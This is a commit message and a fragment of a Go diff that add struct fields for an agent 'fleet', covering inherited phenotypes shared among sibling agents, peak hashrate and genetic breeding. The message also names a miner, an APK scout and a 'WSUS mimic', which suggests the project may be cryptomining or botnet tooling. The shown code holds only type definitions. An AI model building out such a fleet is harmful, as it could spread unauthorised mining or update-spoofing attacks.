Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage
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@@ -20,6 +20,7 @@ type FleetPhenotype struct {
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}
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// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches.
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// Auth tier-plan precedence (highest wins): inherited phenotype > genetic breed > adaptive strategy.
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type InheritedPhenotype struct {
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SourceAgentName string `json:"source_agent_name"`
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Fingerprint string `json:"fingerprint"`
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@@ -27,6 +28,8 @@ type InheritedPhenotype struct {
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TierOrder []string `json:"tier_order"`
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ActiveTier string `json:"active_tier,omitempty"`
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PeakHashrate float64 `json:"peak_hashrate,omitempty"`
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GeneticBreed bool `json:"genetic_breed,omitempty"`
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ParentLanes []string `json:"parent_lanes,omitempty"`
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}
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// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building.
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